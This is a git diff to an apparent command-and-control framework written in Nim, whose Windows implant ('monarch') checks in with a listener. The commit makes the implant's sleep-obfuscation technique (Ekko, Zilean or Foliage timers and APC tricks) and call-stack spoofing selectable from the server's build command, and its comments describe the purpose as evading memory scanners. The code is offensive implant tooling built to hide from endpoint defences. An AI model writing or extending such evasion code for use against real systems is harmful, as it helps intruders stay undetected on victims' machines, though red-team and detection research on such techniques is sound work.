diff --git a/src/agent/core/context.nim b/src/agent/core/context.nim index 07330ab..c2d7e04 100644 --- a/src/agent/core/context.nim +++ b/src/agent/core/context.nim @@ -30,6 +30,8 @@ proc deserializeConfiguration(config: string): AgentCtx = ip: unpacker.getDataWithLengthPrefix(), port: int(unpacker.getUint32()), sleep: int(unpacker.getUint32()), + sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()), + spoofStack: cast[bool](unpacker.getUint8()), sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)), agentPublicKey: agentKeyPair.publicKey, profile: parseString(unpacker.getDataWithLengthPrefix()) diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index 2c371fb..c3bfc08 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -125,7 +125,6 @@ proc GetRandomThreadCtx(): CONTEXT = Ekko sleep obfuscation based on Timers API using RtlCreateTimer ]# proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var bool = true) = - var status: NTSTATUS = 0 ctx: array[10, CONTEXT] @@ -465,8 +464,7 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var #[ Foliage sleep obfuscation based on Asynchronous Procedure Calls ]# -proc sleepFoliage*(apis: Apis, key, img: USTRING, sleepDelay: int) = - +proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) = var status: NTSTATUS = 0 ctx: array[7, CONTEXT] @@ -574,7 +572,7 @@ proc sleepFoliage*(apis: Apis, key, img: USTRING, sleepDelay: int) = echo protect("[-] "), err.msg # Sleep obfuscation implemented in various techniques -proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = ZILEAN, spoofStack: var bool = true) = +proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) = if sleepDelay == 0: return @@ -582,7 +580,7 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = ZILEAN, spoof # Initialize required API functions let apis = initApis() - echo fmt"[*] Sleepmask settings: Technique: {$mode}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}" + echo fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}" var img: USTRING = USTRING(Length: 0) var key: USTRING = USTRING(Length: 0) @@ -602,11 +600,12 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = ZILEAN, spoof key.Length = cast[DWORD](keyBuffer.len()) # Execute sleep obfuscation technique - case mode: + case technique: of EKKO: sleepEkko(apis, key, img, sleepDelay, spoofStack) of ZILEAN: sleepZilean(apis, key, img, sleepDelay, spoofStack) of FOLIAGE: sleepFoliage(apis, key, img, sleepDelay) - + of NONE: + sleep(sleepDelay) diff --git a/src/agent/main.nim b/src/agent/main.nim index 81d831c..a57814f 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -34,10 +34,8 @@ proc main() = ]# while true: - - # Sleep obfuscation with stack spoofing to evade memory scanners - var spoof = true - sleepObfuscate(ctx.sleep * 1000, spoofStack = spoof) + # Sleep obfuscation to evade memory scanners + sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack) let date: string = now().format("dd-MM-yyyy HH:mm:ss") echo "\n", fmt"[*] [{date}] Checking in." diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index da96f87..cf2532f 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -3,5 +3,5 @@ -d:release --opt:size --passL:"-s" # Strip symbols, such as sensitive function names --d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" +-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim index 2f0c6a5..1f40c30 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -77,10 +77,11 @@ type LOG_SUCCESS = "[DONE] " LOG_WARNING = "[WARN] " - SleepObfuscationMode* = enum - EKKO = 0'u8 - ZILEAN = 1'u8 - FOLIAGE = 2'u8 + SleepObfuscationTechnique* = enum + NONE = 0'u8 + EKKO = 1'u8 + ZILEAN = 2'u8 + FOLIAGE = 3'u8 # Encryption type @@ -209,6 +210,8 @@ type ip*: string port*: int sleep*: int + sleepTechnique*: SleepObfuscationTechnique + spoofStack*: bool sessionKey*: Key agentPublicKey*: Key profile*: Profile diff --git a/src/server/core/builder.nim b/src/server/core/builder.nim index 09c8da1..96e1180 100644 --- a/src/server/core/builder.nim +++ b/src/server/core/builder.nim @@ -7,17 +7,27 @@ import ../../common/[types, utils, profile, serialize, crypto] const PLACEHOLDER = "PLACEHOLDER" -proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int): seq[byte] = +proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: string, spoofStack: bool): seq[byte] = var packer = Packer.init() # Add listener configuration # Variable length data is prefixed with a 4-byte length indicator + + # Listener configuration packer.add(string.toUuid(listener.listenerId)) packer.addDataWithLengthPrefix(string.toBytes(listener.address)) packer.add(uint32(listener.port)) + + # Sleep settings packer.add(uint32(sleep)) + packer.add(uint8(parseEnum[SleepObfuscationTechnique](sleepTechnique.toUpperAscii()))) + packer.add(uint8(spoofStack)) + + # Public key for key exchange packer.addData(cq.keyPair.publicKey) + + # C2 profile packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString())) let data = packer.pack() @@ -123,7 +133,7 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): bo return true # Agent generation -proc agentBuild*(cq: Conquest, listener, sleep: string): bool {.discardable.} = +proc agentBuild*(cq: Conquest, listener, sleepDelay: string, sleepTechnique: string, spoofStack: bool): bool {.discardable.} = # Verify that listener exists if not cq.dbListenerExists(listener.toUpperAscii): @@ -133,11 +143,11 @@ proc agentBuild*(cq: Conquest, listener, sleep: string): bool {.discardable.} = let listener = cq.listeners[listener.toUpperAscii] var config: seq[byte] - if sleep.isEmptyOrWhitespace(): + if sleepDelay.isEmptyOrWhitespace(): # If no sleep value has been defined, take the default from the profile - config = cq.serializeConfiguration(listener, cq.profile.getInt("agent.sleep")) + config = cq.serializeConfiguration(listener, cq.profile.getInt("agent.sleep"), sleepTechnique, spoofStack) else: - config = cq.serializeConfiguration(listener, parseInt(sleep)) + config = cq.serializeConfiguration(listener, parseInt(sleepDelay), sleepTechnique, spoofStack) let unpatchedExePath = cq.compile(config.len) if unpatchedExePath.isEmptyOrWhitespace(): diff --git a/src/server/core/logger.nim b/src/server/core/logger.nim index 3cdb16b..39c92e2 100644 --- a/src/server/core/logger.nim +++ b/src/server/core/logger.nim @@ -13,6 +13,8 @@ proc makeAgentLogDirectory*(cq: Conquest, agentId: string): bool = proc log*(cq: Conquest, logEntry: string) = let + # TODO: Fix issue where log files are written to the wrong agent when the interact agent is changed in the middle of command execution + # Though that problem would not occur when a proper GUI is used in the future date = now().format("dd-MM-yyyy") agentLogPath = fmt"{CONQUEST_ROOT}/data/logs/{cq.interactAgent.agentId}/{date}.session.log" diff --git a/src/server/core/server.nim b/src/server/core/server.nim index ca0463c..5651c57 100644 --- a/src/server/core/server.nim +++ b/src/server/core/server.nim @@ -54,9 +54,10 @@ var parser = newParser: command("build"): help("Generate a new agent to connect to an active listener.") option("-l", "--listener", help="Name of the listener.", required=true) - option("-s", "--sleep", help="Sleep delay in seconds." ) + option("-s", "--sleep", help="Sleep delay in seconds.") + option("--sleepmask", help="Sleep obfuscation technique.", default=some("none"), choices = @["ekko", "zilean", "foliage", "none"]) + flag("--spoof-stack", help="Use stack duplication to spoof the call stack. Supported by EKKO and ZILEAN techniques.") # option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],) - command("help"): nohelpflag() @@ -104,7 +105,7 @@ proc handleConsoleCommand(cq: Conquest, args: string) = of "interact": cq.agentInteract(opts.agent.get.interact.get.name) of "build": - cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep) + cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.sleepmask, opts.agent.get.build.get.spoof_stack) else: cq.agentUsage()